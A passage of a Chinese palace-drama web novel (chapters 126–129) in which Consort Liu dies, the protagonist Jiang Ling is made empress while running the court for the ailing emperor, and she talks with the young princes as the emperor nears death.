柳贤妃脸上的笑容退去,嘴角诡异上扬,有血丝从嘴角溢出。 她不再看江舲,虔诚地叩首, “信女愿永世不得超生,换得皇上龙体安康,万寿无疆!” 江舲不可思议地望着气息微弱的柳贤妃,毛骨悚然。 好歹毒的祈盼! 第126章 江舲相信命运, 也信听天命之前,先尽人事。 她与柳贤妃其实一样,都已经没有回头路, 只能奋力向前拼搏。 柳贤妃在生前最后一刻,仍然没有忘记反击。尽管用上了无用的诅咒, 终不曾放弃。 回到琼华阁,林贵妃还在书房伏案忙碌, 矮案上摆着未动的晚膳。 江舲走进屋, 她抬头看来,愣了下, 道:“她死了?” “是。”江舲在矮案边坐下,对文涓道:“这些撤下吧, 重新换新鲜的吃食上来。唔, 鸡头米新鲜,再来份香油藕丁。” 文涓去御膳房送了晚膳进来,两人一道吃了, 一起走出屋, 沿着□□散步消食。 弯月挂在天机, 月色昏昏。花丛中传来吱吱虫鸣, 夜风拂过, 已然凉意阵阵。 “炎夏就快过了啊。”林贵妃轻抚着手臂, 感慨了一声,她侧首过来, 问安静的江舲:“她一向聪明, 狠绝。找你前去,当不会是叙旧。” 江舲轻轻点头,蓦地笑了:“她愿永世不得超生, 换皇上龙体安康,万寿无疆。” 林贵妃瞪大眼,脸上渐渐浮起笑容,喟叹道:“她还真是…….我输给她,也是心服口服。她真真是天下第一狠人。” 柳贤妃愿以轮回转世为人,换元明帝长寿。 因为元明帝长寿,江舲就无法掌大权。他有可能再生皇子,皇帝皆喜欢年幼无甚威胁的幼子,与长大成人的儿子是竞争天敌。极有可能,萧允瓒萧允琅皆承继不了大位。 江舲也笑,“可惜,若诅咒求神有用,天底下都是菩萨庙了。” “我从不信这些。我从没见过神仙,求神不若求己。” 林贵妃弯腰拾捡落在地上的木芙蓉,到了夜间,粉色的木芙蓉变成了深紫色,花瓣一圈已经开始腐败。 凝视着手上的木芙蓉,林贵妃不由得回忆起当年柳贤妃进府时的情形,“当年,我是在这个时节进府,潜邸有座木芙蓉园,里面满园的木芙蓉开得真好啊,我从没见过那般满天烟霞的盛况。可惜,后来潜邸的木芙蓉都被连根拔起,栽种到了苏皇后的陵墓前。” 江舲诧异了下,道:“苏皇后喜欢木芙蓉?” 林贵妃摇头笑道:“我不知真假。听说木芙蓉是在迎娶苏皇后时所栽种,后来,苏皇后薨了,皇上伤心欲绝,下旨把潜邸的木芙蓉移栽了去。苏皇后是在寒冬十一月薨适,移栽不易活,苑囿好些官员被罢免。后来,苑囿就只报喜不报忧,待到开春后,偷偷从别处移栽了去。皇上从没去过墓前,那些官员白白丢了乌纱帽。” 元明帝对苏皇后的这份夫妻情深,不合时宜又滑稽。江舲早已经习惯,波澜不惊听着。 林贵妃扔掉木芙蓉花,取出帕子轻拭着指尖上的嫣红花汁,“我自小便知自己的亲事,不外乎皇室,王府公孙。各府各家谁有年纪相仿的男子,我都了然于胸。当年先皇赐婚时,我大致就已经猜到了,半点都不意外。进府后,苏皇后还在世,她贤淑端庄,跟那神龛上的佛一样,公允公正,不喜不怒。” 江舲听得扬眉,神龛上的佛,缺乏人气。 林贵妃收起帕子,道:“苏皇后与他少年夫妻,曾经颇为恩爱。成亲不到两年,府中添了三个姐妹。苏皇后大病了一场,后来就立地成佛了。我进府后,在苏皇后的手底下过日子,因她这份菩萨心性,算不上自在,倒也没吃甚大苦头。” 江舲听得不解,林贵妃朝她眨眼笑,“人说夫妻本是同林鸟,同林子中的鸟儿,大致都是一类。苏皇后与他极为相似,可称作夫妻双煞。苏皇后当时只能管后宅,她生不起波澜。” 苏皇后与元明帝一样的话,哪是林贵妃的对手。何况,苏皇后只是后宅妇人,当时元明帝尚未登基,他都要受约束,何况是她。 “我进府不到一年,柳贤妃也进来了。潜邸接连办喜事,真真是热闹极了。” 林贵妃面带微笑,立在木芙蓉树下,仰头张望着满树的花,“柳贤妃在后宅姐妹中,相貌算不得好。她性子温婉,说话细声细气,满身的书卷气,气质如兰。那时我却觉着,她像极了这木芙蓉,她的眼神中藏着火焰。” 江舲甚是佩服林贵妃的敏锐,柳贤妃当年还年轻,野心藏不住。 “柳贤妃才情过人,才名远扬,直扬到了先帝面前,先帝多次夸赞,给皇上脸上添了光。苏皇后极少再露面,我的日子就过得愈发舒服了。” 林贵妃不禁笑了声,“我当年还是目光短浅了些,先帝驾崩,皇上登基,我以为皇上会立柳贤妃为后。苏皇后当时虽为正,一国之后听上去甚是位高权重,只你我自己清楚,皇后就是管着更大点的后宅妇人,与一家主母差不多。苏氏人丁凋零,家族不兴。柳侍郎在读书人中颇有名望。皇上要是弃苏皇后,立柳贤妃为后,朝臣反对几句,皇上坚持,也就过去了。” 江舲沉思了下,一脸不解,“皇上不喜柳贤妃?” 林贵妃道:“柳贤妃的书法早已不输柳侍郎,她的文章还写得极好,替皇上捉刀写了几篇文章,迄今都被读书人奉为佳作传阅。皇上在士人中的声望,有柳贤妃的一份功劳。” 江舲不知还有这一段经历,她愣了愣,叹道:“柳贤妃这份才情,要是收一收,今朝的结局,估计难说了。” 柳贤妃的才情固然能给元明帝长脸,却又让他觉着难堪。毕竟,元明帝身为帝王,他连后宫的嫔妃都不如,以他的心眼,肯定是喜怒交加。 偏生柳贤妃那时年轻气盛,过于心急了些。 江舲好奇问道:“娘娘当年为何没去争皇后之位?” “争了,没争过。” 林贵妃提及当年的心计,落败,坦率而自在,眉眼间不见半点遗憾。 “论才,我比不过柳贤妃。论贤惠,我比不过苏皇后。论相貌,我更要往后排了。我能被封为贵妃,全靠我先有身孕,背靠林氏一族。何况,我当年也藏不住心事,对皇上时常甩脸子,嫌弃之意,傻子都能察觉。皇上应当察觉到了,他对我日渐冷落。” 林贵妃神色平静,对江舲说道:“如今看来,今朝的结局,早已在过往的一举一动中注定,毫无意外。” 江舲不知该如何说,她沉吟了下,道:“我也不知会走向何方,眼下远算不得结局,除非到溘然长逝的那一刻。” 林贵妃怔了怔,想到元明帝仍在,前朝的朝臣,她说了句是,“我们都还在,离盖棺定论为时尚早,不必感怀了。对了,可要办丧事?” 江舲头疼地道:“白日天气依然炎热,我打算收敛起来早些下葬。丧事最为折腾人,皇上那边没心思管,我更没精力管这些。” 林贵妃斟酌了下,道:“皇家脸面虽如那镜花水月,妆点起来自欺欺人也好看些。还是发丧吧,我来操持。这些事做多了,驾轻就熟。” 皇家忌讳多如牛毛,最讲究吉利。而宫中是死人最多之地,每一座宫殿,每一间屋子,都称得上凶宅。 林贵妃称自己能熟练操持丧事,更是荒唐到可笑。 江舲听得笑了起来,林贵妃也禁不住笑了。两人一起回书房,安排了丧事,开始处理折子。 阿箬进屋来回禀道:“娘娘,皇上差人来问,娘娘去了何处,怎地还没回去。” 江舲看向滴漏。道:“时辰不早,娘娘回去歇了吧。” 林贵妃道好,与江舲一起走出屋。她看向正殿方向,那里灯火通明,黄粱守在廊檐下熬煮药。 “他夜里还要服药?”林贵妃顿了下,眼神微微一亮。 “是安神汤。”江舲看着林贵妃的反应,不由得想笑。 林贵妃毫不掩饰她的失望,她没再多言,屈膝告别。 江舲进了卧房,元明帝洗漱完毕,扶着案几在慢步走动。他眼前发晕,看到江舲进屋来,止不住不悦地哼哼,“听说你去了柔仪宫,柳氏又生了何事?” “柳贤妃没了。”江舲沉吟了下,径直说道。 元明帝的反应出乎江舲的意料,她本以为他会满不在乎,谁曾想他许久都没回过神,一动不动地立在那里,目光僵直。 “我请贵妃娘娘发丧,操办丧事。”江舲走上前,仔细地打量着元明帝,搀扶着他在椅子中坐下,“皇上可是头晕难受了?” “嗯。”元明帝喉咙咕隆了声,眼珠终于转动,朝江舲看来,“她比朕小,怎地就没了?” 看来,元明帝忘了下旨处死柳贤妃之事。江舲克制住笑意,耐着性子道:“柳贤妃聪明,知道自己犯了事,皇上不会轻饶。她心气高,吞金自行了断了。” “吞金啊。”元明帝愣了下,喃喃道:“朕听说吞金自尽很是痛苦,七窍流血,五脏俱焚而亡。她为何要这般,享受着无上的荣华富贵,为何还不满足,不断生事呢?” 江舲没有做声,她无法解释,更没心情对牛弹琴。 元明帝浮肿的双眸渐渐湿润,眼前浮起柳贤妃的面容。她初进府时,年轻,灵动的面容。他替她鬓角簪上蔷薇花,她的脸庞与耳根都泛起红晕,与蔷薇花一样娇艳明媚。 心头涌起阵阵刺痛,巨大的惶恐袭来,元明帝仓皇地抓住了江舲的手腕,流泪大哭:“她们都离开了朕,都离开了朕!” 江舲震惊不已,她见元明帝脸颊抽搐抖动,神情似乎不大对劲,不动声色想要抽回手腕。 元明帝用握住江舲的手腕不放,他涕泪横流道:“还是你忠心,朕幸亏还有你。你要侍奉朕左右,朕命你,以后一步都不得离开!” 江舲静了静,她深吸一口气,果断喊道:“黄梁,送安神汤进来!” 第127章 元明帝感到眼前一片模糊, 呼吸艰难,巨大的恐慌一波接一波,如浪潮一般铺天盖地朝他打来, 他无处躲藏,无处回避。 那一张张或熟悉, 或模糊,逝去人的脸, 随着翻滚的浪潮, 冲着他大笑,大喊, 朝他伸出手,捏住他的喉咙。 “啊!”元明帝抓住衣领乱扯, 乱推乱挥舞, 面目赤红浑身战栗,惊恐地嚎叫。 江舲见元明帝双目圆瞪,在床上一阵乱蹬, 喉咙发出短促地咕隆, 她赶忙对端着安神汤进来的黄粱道:“传太医!” 黄粱赶紧放下药汤, 转身跑去传太医。因元明帝身子不好, 吴适山时常留守宫中当值, 今朝他也在, 很快就随黄粱跑了进屋。 看到元明帝在龙床上的症状,吴适山掩饰不住地紧张, 他飞快看了眼立在一边的江舲, 压低声音焦灼地道:“娘娘,臣瞧着皇上的症状,怕是癔症犯了。” 江舲虽不是医生, 她其实心中大致清楚一些。 元明帝自幼长在皇家,锦衣玉食,却从未受到过真正的关爱。他极度自私凉薄,也是因为他从未得到过的东西,他无法理解,也不会给予。 帝王最喜欢长生不老,秦始皇追求仙丹,后世富翁亦在追求永远年轻,长寿。科技在进步,人性从没新鲜过。 元明帝盼着能福寿天齐,永远做九五之尊。他长期卧病在床,后宫嫔妃与儿女接连出事,他当时虽未发作,却终究是累积在他心底。 柳贤妃之死,终于刺激得他发作。加上他的血压,以前不时服用安神汤,给他造成了不可逆的神经损伤。 除非有仙丹,或者他来到后世。 元明帝命不久矣。 江舲沉默片刻,道:“施针也好,重新开方剂也罢,让皇上先平缓下来,好生歇息一阵。” 吴适山得了旨意,暗自舒出口气。不过,元明帝不断乱动,他拿着银针无处下手,急着道:“皇上,皇上万万不可动,臣给皇上施针。” 元明帝似乎充耳不闻,手在空中乱抓。江舲暗暗吸了口气,上前握住他的手,温声道:“皇上别怕,吴太医正给皇上施针,施针之后,皇上就能好过些了。” 手中握住东西,元明帝终于安静了瞬,吴适山眼疾手快,抬手扎了下去。 元明帝感到微微的酸胀刺痛,他不禁转动眼珠,看向坐在一边的江舲。那些逝去的人,那些浪潮,逐渐消退,眼前换成了熟悉的面容,令他信任,安心的面容。 “是你,是你啊!”元明帝松弛下来,欣喜若狂地喊着。 江舲不明白他的意思,顺着他的话附和着是我,吴适山趁机飞快地一针针扎了下去。 恐元明帝再动,银针断裂在身体内,江舲只能强忍着手被元明帝紧紧拽得生疼,坐在一侧安抚着她。 所幸元明帝没再乱动,嘴里喃喃含糊不清念叨着,缓缓睡了过去。 江舲小心翼翼掰开元明帝的手,吴适山收着银针,见她的手已经泛青,赶忙道:“娘娘的手可受了伤?” “无妨,没伤到筋骨。”江舲故意用了左手,她轻轻揉着,让黄粱熄灯,“多留两盏灯,床帐别放下来,卧房内明亮些。” 黄粱连忙应是,前去熄灭铜盏上的蜜蜡。江舲走出卧房来到外间,吴适山收起药箱也走了出来,担忧地道:“娘娘,臣曾见过如皇上一样的病症,时常发作头风,急躁。喜怒不定。痰湿淤血,身子麻痹,终是中风。” “有药可医吗?”江舲问道。 吴适山神色黯淡道:“回娘娘,臣无能,风邪入体,无药可医。” 江舲道:“好,既已如此,只能让皇上的日子好过些,以医治疼痛为主。” 确实无计可施,吴适山道:“臣遵旨,以后都以施针为主。” 吴适山告退,黄粱轻手轻脚走了出来,道:“娘娘先歇着吧,皇上要是醒了,离不得娘娘。” 还有两大匣子折子亟需批阅,江舲也着实累了,她折中了下,道:“文涓,把先前挑好的折子给我拿来,我先处理了。” 文涓捧了匣子过来,江舲朱笔御批之后,盖上元明帝的御印,放回匣子中,发还政事堂。 忙完之后,时辰已快到子时。江舲赶紧洗漱了下,躺下歇息。 元明帝在寅时中就醒了过来,他精神萎靡,脑子仍然隐隐作痛,不过意识尚算清醒。 黄粱与内侍一起侍奉元明帝如厕,更衣洗漱,江舲被吵醒,只能跟着起来。 此时,天刚晨曦微明。 洗漱过,江舲还是困顿,她打了个哈欠,对又瘫在床上的元明帝道:“皇上,晨间清凉,不如去外面走动走动。” “朕累得很。”元明帝嘟囔说着,他瞥了眼江舲,还是应了,叫黄粱上前伺候穿鞋。 元明帝脚步虚浮,他走得极慢,始终没有停下脚步。 墨蓝的天际,逐渐转为清灰,凉爽的微风,带着几分早秋的湿润,仿佛浸入了心间。 “朕许久未这般过了。”元明帝停下脚步,撑着廊柱喘息着,贪恋地盯着远处天际变幻的颜色。 江舲道:“皇上累了,回屋去用早膳吧,以后多出来走动就是。” 元明帝喘了口气,点头道好,垂眸看到江舲青紫的左手,不由得一愣,柔声问道:“你的手可疼?” “没事。”江舲答了句,转身朝回走,“皇上慢些。” 昨晚发生之事,依旧历历在目,元明帝并未忘记。他一瞬不瞬望着她疲惫的面容,心中柔情涌动。 两人一起用过早膳,元明帝身上有了些力气,走动几步消食,始终心慌气短,便回屋躺下了。 江舲道:“皇上,林贵妃来了,等着与我商议柳贤妃的丧仪。皇上可有什么吩咐?” 元明帝眼神一暗,道:“照着贤妃的规制,安葬了就是。天气炎热,早些移棺到皇寺。” 江舲道是,带上折子前去书房。元明帝躺了一会,吩咐内侍去传政事堂与礼部等朝臣觐见。 林贵妃一早就来了,得知江舲在侍奉元明帝,便先坐在书房等着。 见江舲进屋,林贵妃起身迎上前,看到她眼底的青色,泛着红血丝的眼眸,情不禁一顿,道:“慧淑妃夜里又没得歇息?” “歇了一会。”江舲揉着眉心,不欲多言,道:“娘娘坐吧。” 林贵妃坐了回去,看向江舲打开匣子的手,目光一凛,道:“你受了伤。他动手打人了?” 江舲手停顿了下,抬眼看向若有所思的林贵妃,道:“娘娘,他是皇帝,要我真是激怒了他,他只会杀人。” “倒也是。”林贵妃呼出口气,自嘲一笑,道:“他是天子,何须罪证,便可直接杀人。” 她停顿了下,毫不掩饰地道:“慧淑妃,你为何要忍受?” 江舲没有回答林贵妃的话,认真地问道:“娘娘要是成了女帝,可能做得到不以权势压人?” 林贵妃认真思索起来,道:“我不敢保证。只是,若不以权势压人,那些政令如何施行?” “娘娘不会随意欺负弱小,毕竟娘娘犯不上欺负他们,胜之不武。” 江舲笑了笑,道:“有些时候,以权压人很难界定。比如你我。” 林贵妃神色怔怔,她与江舲,甚至柳贤妃,赵德妃她们,在后宫中倾轧,死伤无数。 并非是她们不够厉害,而是这场争斗,毫无公平可言。 得宠之人,最终得胜。得宠算是本事,美貌,聪慧,家世,皆是利器助力。 而宠爱,是她一贯不屑,鄙夷之事。 因为她要的是权势,而非虚无缥缈帝王宠爱。偏生,帝王的宠爱,能带来权势。所谓的得宠,就是获得权势,用来欺压对手。 其实,她是在自欺欺人,与元明帝并无不同。 林贵妃愣愣问道:“慧淑妃,你可做得到?” 江舲思索了下,坦白地道:“我也不一定做得到,但我尽力。” 林贵妃莫名地鼻子发酸,道:“我从没有见如你这般的人,说实话,因着我们以前是敌对关系,始终对你提防着,怕你只是利用我,利用林氏。到底是我小人之心了。” 江舲确实想过利用林贵妃,主要是她背后的林氏一族。这里面,她设置了一个底线,控制林氏的权势,绝不能让林氏为所欲为。 她笑笑,没再多说此事,与林贵妃说起了柳贤妃的丧仪。 林贵妃回道:“慧淑妃放心,我已经安排了下去。这时灵堂只怕已经搭起来了,停灵三日,棺椁送出宫。天气热,需要的冰多,宫中库房的不够,需要从宫外添置,须得劳烦慧淑妃去皇上跟前回禀,让皇上应允。” 江舲道:“娘娘先下令去添置就是,皇上那边,我与他说一声。” 林贵妃笑起来,道:“朝中有人就是好办事。我不耽搁了,这就去办。” 江舲留在书房,继续批阅折子。到了午间,黄粱一脸喜悦,前来道:“皇上唤娘娘前去用午膳。” “黄大伴早间遇喜鹊了?”江舲收拾着折子,与黄粱说笑道。 黄粱笑得牙不见眼,道:“可不是遇到了喜鹊。” 江舲一时想不到有何喜事,她来到卧房,萧允瓒萧允琅也在。两人肩并肩,老老实实立在那里。 元明帝穿戴齐整坐在床沿,脸上带着笑意看着她,“回来了?” “皇上身子好多了。”江舲惊讶不已,对着元明帝的笑容,只感到莫名其妙。 “你以前劝得对,不能总躺着,要多走走。朕走了一会,是好转了些。” 元明帝招呼江舲上前,对黄粱道:“取来吧。” 黄粱双手捧着卷轴上前,神色肃穆,道:“慧淑妃听旨!” 江舲心里一动,照着规矩跪地领旨。 黄粱抑扬顿挫念了一堆华丽的骈文,溢美之词,最终道:“立慧淑妃江氏为后,令所司择日备礼册命。主者施行。” 第128章 琼华阁喜气洋洋, 黄粱率先向江舲磕头道贺。萧允瓒萧允琅笑着围住江舲,吵着要她打赏。文涓等人不甘落后,恭贺声不断。 江舲吩咐下去, 垂拱殿众人皆有赏:“这段时日你们当差都辛苦了,借着今朝的喜事, 每人添一个月月俸……” 元明帝接了话过去:“这份赏赐,朕来出!” 大家一起朝元明帝谢恩, 一番吵嚷之后, 用过午膳,元明帝累了, 回到龙床上躺着。他斥退伺候的众人,让萧允瓒萧允琅两人回去读书, 单独留下江舲说话。 “以前升你的份位, 也没能好生庆贺。立后不同以往,待朕身子好一些,让钦天监择吉日, 朕再与你办册礼。” 元明帝歉意地说着, 凝望着江舲, 眸中柔情缱绻, “这些时日辛苦你, 朕都知道, 看在心里。” 毕竟元明帝只有两个皇子,皆在江舲名下。她心知肚明, 皇后或者太后之位非他莫属, 只是迟早之事。 立后来得让人猝不及防,江舲一时没能反应过来。她仔细地打量着元明帝,暗道他估计病得不轻, 脑子彻底糊涂了。 久病床前无孝子,这段时日生病以来,江舲的一举一动,元明帝皆看在眼里。 尤其是昨日夜里,元明帝那时害怕极了,是她唤醒了他,安抚了他。以前他能听到她心声,在这个皇宫,她干净得简直让人诧异。 听不到她的心声后,元明帝下意识还是信任她,依赖他。只心底始终有些迟疑,亦是他一直没立她为后的缘由。 经过昨夜,元明帝知道她没变,仍然是她。 生在皇家,元明帝习惯了亲人之间的互相算计,倾轧,厮杀。他更心如明镜,她有无数次的机会,无需升做皇后,可直接做太后。 他能安稳活下来,皆因着她的慈悲,善良。 元明帝道:“朕已经让郑相上旨,请求立阿瓒为太子。阿瓒淘气,朕以前很是不满,恐他成不了大器。阿赞脾气随你,有你教导,他当得起大胤的储君。” 江舲见元明帝好似在交代遗言一样,她心情有些复杂,道:“皇上累了,先歇一阵吧。” 元明帝叹道:“朕除了醒便是睡着,歇得足够久,朕不累。” 话虽如此,元明帝说了几句话,还是闭上眼睛睡了过去。江舲来不及感慨,她困得眼皮都睁不开,赶紧回到外间睡下。 睡了约莫半个时辰左右,江舲总算清醒了过来。元明帝还在沉睡,她更洗出来,萧允瓒萧允琅在柔仪宫拜祭完柳贤妃,两人一路走一路嘀嘀咕咕说着话,准备去跟着先生读书。 看到江舲立在廊檐下,两人停下来见礼,喊道:“阿娘。” 江舲招呼他们上前,见萧允瓒一头一脑门的汗,萧允琅瘦弱些,他的里衣仍然干爽,便道:“阿瓒去换身里衣。” 萧允瓒扭动着身子,道:“我浑身都不舒服,早就想着要回去换呢。阿琅说曾先生严厉,去迟了会被罚。我在与阿琅争论,说身子要紧,曾先生明事理,不是死板之人,不会罚我。阿娘,我与阿琅谁赢谁输?” 江舲不负责任道:“你试试看曾先生可会罚你,不就知晓了?” 萧允瓒眼珠灵活转动,不依道:“阿娘真是,我要是被曾先生罚了,阿娘又不会替我受着。君子不立危墙之下,阿娘怎地能怂恿我去以身犯险呢?” 江舲呵呵,“你少诡辩,休想要我去与曾先生交代,免了对你的责罚。你要万无一失,就自己去想法子。” 小心思被戳破,萧允瓒脸皮厚,想要继续缠着江舲,她伸出手指戳着他的脑门,“你耽搁得越久,越有被罚的危险。” 萧允瓒只得悻悻作罢,赶忙跑回去更衣。萧允琅施礼要退下,江舲叫住了他,“阿琅,我们去书房。” 萧允琅跟着江舲来到书房,撑着跳上椅子,双手搭在膝盖上,乖巧地端坐好。 随着长大,他的眉眼越发像庄美人。江舲来到他身边坐下,感叹道:“阿琅长成少年郎了。” 萧云琅拿着果子,顿时紧张起来:“阿娘要给我说亲了?” 江舲一愣,旋即笑了,“老实交代,你与阿瓒一起,可有做坏事?” 萧允琅头摇得飞快,坚决地否认道:“阿娘,我与三哥都听话得很,从不做坏事。” 江舲哦了声,“你们两人肯定做了坏事,否则,你不会提到说亲。” 萧允琅到底老实些,吭哧了几声,道:“三哥说,成亲还早,可阿娘会很早就替我们相看亲事。我们是皇子,亲事繁琐,只过六礼都要准备一两年。亲事要挑门第,迟不得。” 两个狗都嫌的人形影不离长大,江舲知道背地里肯定不老实。令她意外的是,两人想得倒挺远挺宽。 “阿娘成了皇后,我们的亲事更加马虎不得。” 萧允琅犹豫了下,问道:“阿娘,三哥何时会被立为太子?” 江舲一顿,她就是担心萧允琅,才找他来准备说说话。两人难得亲密无间,她以前不愿抚育他,也是因为不愿见到兄弟反目。 问题已经摆在眼前,江舲避无可避,斟酌又斟酌,问道:“要是阿瓒被立为太子,而不是立你,你会如何想?” 萧允琅笑道:“阿娘,我早就知道三哥会是太子,我是亲王。阿娘不用担心,我不会嫉妒三哥。” 江舲迎着他明亮纯净的双眸,心头微松,道:“随着你们长大,你要搬出宫去开府,以后你是臣,阿瓒是君。” “我都知道。” 萧允琅稚嫩的脸庞上,透出与他年纪不符的老成,“我不是阿娘亲生,阿娘待我如亲生。三哥生病了,阿娘彻夜守着三哥。我生病了,阿娘也彻夜守着我。三哥有的,我也有份。三哥挨打,我也会挨打。文姑姑说,皇子公主从不缺吃穿用度,一件衣裳一块玉佩不值几个钱,吃穿用度一样算不得事。对待外人才会客气,阿娘像罚三哥那样罚我,是把我当做了亲生儿子一样看待。生我的阿娘……” 他的目光暗了暗,难过地道:“她生了病,虽疼爱我,连自己都护不住,如何护得住我。万幸的是,我由阿娘抱养,才长大了,日子过得快活无比,比大哥二哥他们过得好。” 果然,生在皇家,自幼锦衣玉食长大,却从未有过真正天真烂漫的人。 江舲鼻子阵阵酸楚,她眼神柔和无比,慈爱地道:“阿琅,你还小,只管吃好睡好,平平安安长大。其他的东西,就别多想。待长大之后,再去烦恼。” 萧允琅神情一震,他脸上重新浮起笑容,响亮地应了声好,“阿娘,三哥同我说,我们长这么大,连次宫都没出过。萧氏坐拥天下,其实就这皇宫方寸之地。最近这段时日,我们连垂拱殿都不能随意出入。三哥说,外面危险,我们不能给阿娘添麻烦。阿娘,我想出去看天下,三哥出不去。阿娘,我比三哥以后过得自在,阿娘也别多想,我不会嫉妒三哥,我们永远是最最亲的兄弟。” 江舲心里感慨不已,含笑频频点头,心道两人终于不负她的辛苦教育。以后她不知会如何,至少现在她可以放心了。这时,萧允琅的手伸向盘子,悄然抓了一把松子糖。江舲无语凝噎,伸手一拍:“放回去。” 萧允琅嗷嗷叫了声,不情不愿将松子糖放了回去。江舲气得瞪他,“嘴张开,我瞧瞧你的牙齿。” “啊!”萧允琅乖乖张开嘴,由江舲检查。 萧允瓒萧允琅都在换牙期,要是牙齿长不好,或者蛀牙,根本没有修复医治的机会,严重影响身体。 江舲最紧张两人的牙齿,严厉禁止他们去舔,吃甜食,督促漱口。 “这颗有些松动了,门牙冒出了一点。” 江舲仔细地看了一遍,絮絮叨叨叮嘱了一通,抚摸着萧允琅头顶的鬏鬏,“快去读书吧。” 萧允琅起身告退,他走到门边,回头可怜兮兮道:“阿娘,莫要那么早给我定亲啊。三哥说我适合娶母夜叉,我不想娶一个母夜叉。” “滚!” 江舲被气笑了,骂道:“你们两个只能打光棍,母夜叉都轮不到你们!” 萧允琅脚底抹油跑了,江舲无奈回到书桌前坐下,拿起折子开始批阅。 时日过去,转瞬间就过了年。江舲在春暖花开的春日举行了册礼,随后,萧允瓒被立为太子。 为庆贺立后以及太子,除遇赦不赦之徒,元明帝大赦天下。 熬过了寒冬,天气暖和之后,元明帝的身子一日不如一日。头疼,晕眩,清醒的时候痛苦不堪,昏睡过去反倒是种解脱。 春耕时恰逢干旱,影响了播种。突如其来的倒春寒,刚发芽的庄稼冻死大半。 折子一封封送到御前,江舲一边照顾元明帝,一边代处理朝政,还要面对顽固朝臣对她当政的不满弹劾,事情层出不穷。 虽有林贵妃做帮手,她将大部分的事情,都放给了政事堂以及各部朝臣,仍然累得站着就能睡过去。 这天,江舲难得空闲,靠在椅子中闭目养神,文涓摘了栀子进来,她闻到浓烈的香气,缓缓睁开眼,诧异道:“入夏了。” 文涓将栀子花插进花瓶中,道:“早就入夏了呢,花圃中的栀子茉莉都开了,皇后娘娘可要去赏花?” 江舲不想动,躺回椅子里,道:“不去了,春去春又回,来年还会花开。” 文涓见江舲眉眼疲惫,放轻手脚插好花,便退到了屋外。 黄粱提着衣袍跑了上前,小声道:“文涓,皇上醒了,皇后娘娘可在忙?” 元明帝已经昏睡了一整天,文涓心中一咯噔,道:“我进去回皇后娘娘。” 江舲做了个梦,梦见她置身在繁花似锦的花圃中,栀子茉莉木芙蓉等不同季节的花,在一起争相斗艳。色彩艳丽的蝴蝶在翩翩飞舞,有些停在她的肩头,有些停在她的发间。 元明帝站在花中,蝴蝶似乎怕他,扑腾着翅膀,呼啦啦飞远了。 那些本来开得灿烂的花,竟然次第枯萎。转瞬间,花海变成了荒草园。 凛冽的寒风呼啸,卷着枯草盘旋。元明帝身上的皇袍,变成了褴褛的粗麻衣裳。他肥硕虚浮的身躯不再,枯瘦如柴,眼睛浑浊不清,仿佛已经失明。他探出双手,往前面艰难地探索,再小心翼翼迈出脚步,跌跌撞撞,踉跄前行。 文涓上前小声唤道:“皇后娘娘,皇上醒来了。” 江舲缓缓睁开眼,太阳透过纱销,洒下满室细碎日光。面前的雪青花瓶中,雪白的栀子花,鲜活水灵,幽幽吐露着香气。 卧房中,元明帝躺在那里,脸色蜡黄灰败。他睁着眼,微微喘着气,犹如活死人。 第129章 屋中弥漫着一股令人窒息的死亡腐朽之气, 江舲定住神,转身来到明间,一迭声吩咐道:“把窗帘都打开, 多插些栀子茉莉。” 黄粱赶忙交代了内侍,江舲顿了顿, 声音低下去,道:“传丁尚来!” 自从元明帝病重, 丁尚不时在宫中宿卫。他很快就赶了来。见江舲神色严肃, 脸色跟着一沉,“皇后娘娘, 可是皇上……” 江舲打断了他,“皇上仍安在, 你亲自去将太子阿琅叫回来。还有, 各处仔细守好了!” 丁尚心里大致有了数,他不敢耽搁,赶忙带着亲卫去学堂叫萧允瓒萧允琅, 安排重兵布防。 江舲继续安排, “去传太医来给皇上诊治…….还有, 传政事堂枢密院吏六部尚书, 卫大学士宗正卿前来觐见。林贵妃, 大公主二公主, 都一起叫来。” 皇帝驾崩礼仪繁琐,正直夏日, 需要大量的冰, 地宫已经修好,需得再次查看…… 一连串的事情要办,江舲准备继续说下去, 守在卧房内的内侍前来催促,她便只能暂且丢下,匆匆进了屋。 如往常那般,江舲在坐在床前的锦凳上,倒了盏清水递上前,轻声道:“皇上醒了,茶吃了睡不着,吃些清水,等下让御膳房做些易克化的吃食来。” 就着江舲的手,元明帝抿了口水润嘴唇,便摇头道:“朕不饿,不吃了。” 江舲放下茶盏,道:“皇上可有何处不舒服,我传了太医来,等下再给皇上施针。” “朕没事,什么都不要。你们都退下,朕与皇后说说话。” 元明帝的话说得极为缓慢,喉咙中发出嘶鸣声,意识倒清醒。 屋中伺候的众人退了出去,窗棂大开,屋内一室明媚,栀子茉莉皆雪白,争相散发着香气。 元明帝神情柔和,他吸了口气,微笑着道:“真是香啊,朕以前鼻子不透气,什么都闻不着,朕又能闻到花香了。亏得有你,朕一年四季都有花花草草为伴。” 江舲走过去,取了一朵栀子花,一束茉莉花枝过来,“栀子茉莉香气都霸道浓烈,谁也不服谁,斗得厉害呢。” 元明帝拿在手中,他笑了起来,神色似梦似幻:“朕做了个梦,梦见阿爹阿娘他们。他们与以前那样,阿爹严厉令朕用功读书,阿娘问了几句起居,就不再说话了。” 江舲想到先前她做的梦,一时有些恍惚起来。 元明帝急促地喘息了几声,紧紧皱眉,痛苦又挣扎。望着手上的花,他的眉眼渐渐松弛下来,期盼地道:“幸好有你。有你对朕好,始终伴在朕左右,有你心悦朕,朕什么都不缺了。” 江舲听得荒唐,沉默着没做声。不知为何,她想起了那些已经变得模糊的宫斗剧请,心道:“不爱不爱,神经病,宫斗戏谁会爱上皇帝,又不是华妃。” 林贵妃柳贤妃赵德妃,即便是华妃,也不会爱他。 江舲暗暗补充了句:“她们都不爱你!” 元明帝一瞬不瞬凝望着江舲,她端坐在那里,神色若有所思,一言未发。 他听到了她的话,她久违的心声! 他的江皇后,全心信任的江皇后,从未心悦过他,反而嫌弃他至极! “可怜,你没得到的东西,你不会给予,当然没人会回报你真心。”江舲心中说道。 “人有转世投胎,究竟有多少个世间呢?看到的世间,都不算好,这个世间更是臭不可闻。” 江舲陷入了沉思,她想着其他的可能,不禁心生向往:“你以后去别的地方吧,忘了这世的记忆。去到一个只有平和,充满爱意,安宁的世界。这些花,伴你一路前行。” 元明帝凝望着江舲,心里的痛楚,怨恨,奇异地消失了,泪从眼角流下。 她虽不喜他,却没恨他,祝福他的来世。她给他花,伴他到神仙一般的世界。 政事堂郑相等朝臣飞快赶了来,萧允瓒萧允琅从学堂回来,已到明间候着。萧迦桐与萧迦棠姐妹俩也被带到了偏屋候着。 